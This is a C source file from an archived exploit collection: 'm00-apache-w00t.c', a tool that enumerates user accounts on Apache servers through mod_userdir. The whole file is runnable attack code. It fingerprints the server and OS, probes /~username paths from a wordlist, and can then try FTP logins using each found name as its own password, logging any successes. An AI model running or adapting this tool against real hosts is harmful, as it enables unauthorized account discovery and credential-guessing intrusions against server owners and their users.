home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / m00-apache-w00t.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  275 lines

  1. /* m00-apache-w00t.c
  2.  *
  3.  *   Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
  4.  *                          ~ Proof-of-Concept edition ~
  5.  *
  6.  * This tool scans remote hosts with httpd (apache) and disclosure information
  7.  * about existens users accounts via wrong default configuration of mod_userdir
  8.  * (default apache module). Then attempts to log on ftp with found logins.
  9.  *
  10.  * Works only against Linux and *BSD boxes.
  11.  * Info: http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
  12.  * This is old, but curentlly still actual problem, because 99% of all admins use
  13.  * default configuration of apache http server.
  14.  *
  15.  *    This is just proof-of-concept code. More powerful won't be published.
  16.  *
  17.  * Great collection of userlists u can find at:
  18.  *          http://packetstormsecurity.nl/Crackers/wordlists/names/
  19.  *
  20.  * Thanks to damned, ech0, rash and Akula
  21.  *
  22.  * -d4rkgr3y // m00sec@EFnet // www.m00.ru
  23.  *
  24. */
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29. #include <errno.h>
  30. #include <sys/socket.h>
  31. #include <sys/types.h>
  32. #include <netinet/in.h>
  33. #include <netdb.h>
  34.  
  35. #define DEFAULT_HTTP_PORT 80
  36. #define DEFAULT_FTP_PORT 21
  37.  
  38. int m00() {
  39.     printf("\n[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.\n\n");
  40. }
  41.  
  42. int verbose(char *d) {
  43.     printf("+-----------------------o0o-----------------------+\n");
  44.     printf("\n%s",d);
  45.     printf("+-----------------------o0o-----------------------+\n");
  46. }
  47.  
  48. int usage(char *xplname) {
  49.     printf("[~] usage: %s -t <host> -u <userlist> [options]\n\n",xplname);
  50.     printf("Options:\n");
  51.     printf("-p <port>      - http port [80]\n");
  52.     printf("-l <log_file>      - log all attempts to file\n");
  53.     printf("-b            - try to log on ftp with guessed logins (public version only login:login)\n");
  54.     printf("-h            - usage\n");
  55.     printf("\n");
  56.     exit(0);
  57. }
  58.  
  59. int attempt(char *argv);
  60.  
  61. int conn(char *ip, unsigned short port) {
  62.     struct hostent *hs;
  63.     struct sockaddr_in sock;
  64.     int sockfd;
  65.     bzero(&sock, sizeof(sock));
  66.     sock.sin_family = AF_INET;
  67.     sock.sin_port = htons(port);
  68.     if ((sock.sin_addr.s_addr=inet_addr(ip))==-1) {
  69.         if ((hs=gethostbyname(ip))==NULL) {
  70.             perror("[-] Error"); exit(0);
  71.         }
  72.         sock.sin_family = hs->h_addrtype;
  73.         memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
  74.     }
  75.     if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  76.         perror("[-] Error"); exit(0);
  77.     }
  78.     if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
  79.         perror("[-] Error "); exit(0);
  80.     }
  81.     return(sockfd);
  82. }
  83.  
  84.  
  85. int main(int argc, char *argv[]) {
  86.     FILE   *userlist, *logfile;
  87.     char *file=NULL;
  88.     char *lfile=NULL;
  89.     char *host=NULL;
  90.     char buf[0x20], check[0x20], request[0xc8], answer[0x3e8], c,logd[0x30];
  91.     int i,hand,x,f,v=0,brute=0;
  92.     int port = DEFAULT_HTTP_PORT;
  93.     int fport = DEFAULT_FTP_PORT;
  94.  
  95.     char c200[0x05] =
  96.         "\x20\x32\x30\x30\x20";
  97.     char c403[0x0e] =
  98.         "\x34\x30\x33\x20\x46\x6f"
  99.         "\x72\x62\x69\x64\x64\x65\x6e";
  100.     char c404[0x0e] =
  101.         "\x34\x30\x34\x20\x4e\x6f\x74"
  102.         "\x20\x46\x6f\x75\x6e\x64";
  103.     char signature[0x0f] =
  104.         "\x53\x65\x72\x76\x65\x72\x3a"
  105.         "\x20\x41\x70\x61\x63\x68\x65";
  106.     char *http =
  107.         "Accept: */*\r\n"
  108.         "Accept-Language: en-us,en;q=0.5\r\n"
  109.         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  110.         "User-Agent: m00-apache-finger\r\n"
  111.         "Connection: close\r\n\r\n";
  112.     char **logz;
  113.  
  114.     m00();
  115.  
  116.     if(argc<2) usage(argv[0]);
  117.     while((c = getopt(argc, argv, "t:u:hp:vbl:"))!= EOF) {
  118.         switch (c) {
  119.             case 't':
  120.                 host=optarg;
  121.                 break;
  122.             case 'u':
  123.                 file=optarg;
  124.                 break;
  125.             case 'p':
  126.                 port=atoi(optarg);
  127.                 break;
  128.             case 'l':
  129.                 lfile=optarg;
  130.                 break;
  131.             case 'b':
  132.                 brute=1;
  133.                 break;
  134.             case 'v':
  135.                 v=1;
  136.                 break;
  137.             case 'h':
  138.                 usage(argv[0]);
  139.                 return 1;
  140.             default:
  141.                 usage(argv[0]);
  142.                 return 1;
  143.         }
  144.     }
  145.  
  146.     if(host==NULL) { usage(argv[0]); }
  147.     if(file==NULL) { usage(argv[0]); }
  148.  
  149.     if(lfile && (logfile = fopen(lfile, "a")) == 0) {
  150.         printf("[-] unable to open logfile [%s]\n",lfile);
  151.         exit(0);
  152.     }
  153.  
  154.     if((userlist = fopen(file, "r")) == 0) {
  155.         printf("[-] unable to open userlist [%s]\n",file);
  156.         exit(0);
  157.     }
  158.  
  159.     logz = (char **)malloc(0x666);
  160.  
  161.     printf("[*] Checking http server [%s:%i]...\n",host,port);
  162.  
  163.     hand = conn(host,port);
  164.     sprintf(request,"HEAD /~root HTTP/1.1\r\nHost: %s\r\n%s",host,http);
  165.  
  166.     write(hand,request,strlen(request));
  167.     recv(hand,answer,0x3e8,0);
  168.  
  169.     if(v) verbose(answer);
  170.  
  171.     printf("  Apache        => ");
  172.     if(!strstr(answer,signature)) { printf(" no\n  Vulnerable    =>  "); } else printf(" yes\n  Vulnerable    =>  ");
  173.     if(!strstr(answer,c403)) { printf("no\n[-] Exiting...\n"); exit(0); } else printf("yes\n");
  174.     close(hand);
  175.  
  176.     hand = conn(host,port);
  177.     sprintf(request,"HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s",host,http);
  178.     write(hand,request,strlen(request));
  179.     recv(hand,answer,0x3e8,0);
  180.  
  181.     if(v) verbose(answer);
  182.  
  183.     printf("  OS            =>  ");
  184.     if(strstr(answer,c403)) { printf("FreeBSD"); } else {
  185.         if(strstr(answer,"Unix")) printf("Unix unknow");
  186.         if(strstr(answer,"Debian")) printf("Debian Linux");
  187.         if(strstr(answer,"RedHat")) printf("RedHat Linux");
  188.         if(strstr(answer,"mdk")) printf("Mandrake Linux");
  189.     }
  190.     close(hand);
  191.  
  192.     printf("\n[*] Searching for system accounts...");
  193.  
  194.     if(lfile) {
  195.         sprintf(logd,"Host: %s\nFound accounts:\n",host);
  196.         fprintf(logfile,logd);
  197.     }
  198.  
  199.     x=0;
  200.     f=0;
  201.     while (1) {
  202.         fgets(buf, 32, userlist);
  203.         if (buf[0] == '\n' || strstr(check,buf)) break;
  204.         strcpy(check,buf);
  205.         buf[strlen(buf)-1] = '\0';
  206.         x++;
  207.  
  208.         printf("\n  %s  \t=> ",buf);
  209.  
  210.  
  211.         hand = conn(host,port);
  212.         sprintf(request,"HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s",buf,host,http);
  213.  
  214.         write(hand,request,strlen(request));
  215.         recv(hand,answer,0x3e8,0);
  216.  
  217.         if(v) verbose(answer);
  218.  
  219.         if(!strstr(answer,c404)) {
  220.             printf(" yes",buf);
  221.             if(lfile) {
  222.                 sprintf(logd,"%s\n",buf);
  223.                 fprintf(logfile,logd);
  224.             }
  225.             logz[f] = (char *)malloc(strlen(buf));
  226.             memcpy(logz[f],buf,strlen(buf));
  227.             memset(logz[f]+strlen(buf),0x0,1);
  228.             f++;
  229.         }
  230.         close(hand);
  231.     }
  232.     fclose(userlist);
  233.     printf("\n[*] Searching complete.\n");
  234.     printf("  %i users checked\n  %i users found\n",x,f);
  235.     if(brute && f>0) {
  236.         x=0;
  237.         i=0;
  238.         if(lfile) {
  239.             sprintf(logd,"FTP:\n");
  240.             fprintf(logfile,logd);
  241.         }
  242.         printf("[*] Attempting to log on ftp with login:login...\n");
  243.         while(x!=f) {
  244.             printf("  %s:%s  \t=>",logz[x],logz[x]);
  245.             hand = conn(host,fport);
  246.  
  247.             sprintf(request,"USER %s\n",logz[x]);
  248.             write(hand,request,strlen(request));
  249.             recv(hand,answer,0x3e8,0);
  250.  
  251.             sprintf(request,"PASS %s\n",logz[x]);
  252.             write(hand,request,strlen(request));
  253.             recv(hand,answer,0x3e8,0);
  254.             if(strstr(answer,"230")) {
  255.                 printf("  yes\n");
  256.                 if(lfile) {
  257.                     sprintf(logd,"%s:%s\n",logz[x],logz[x]);
  258.                     fprintf(logfile,logd);
  259.                 }
  260.                 i++;
  261.             } else printf("  no\n");
  262.             close(hand);
  263.             x++;
  264.         }
  265.         printf("[*] Complete.\n");
  266.         printf("  %i ftp accounts found\n",i);
  267.     }
  268.     if(lfile) {
  269.         fprintf(logfile,"\n");
  270.         fclose(logfile);
  271.     }
  272.  
  273. }
  274. /* m00 */
  275.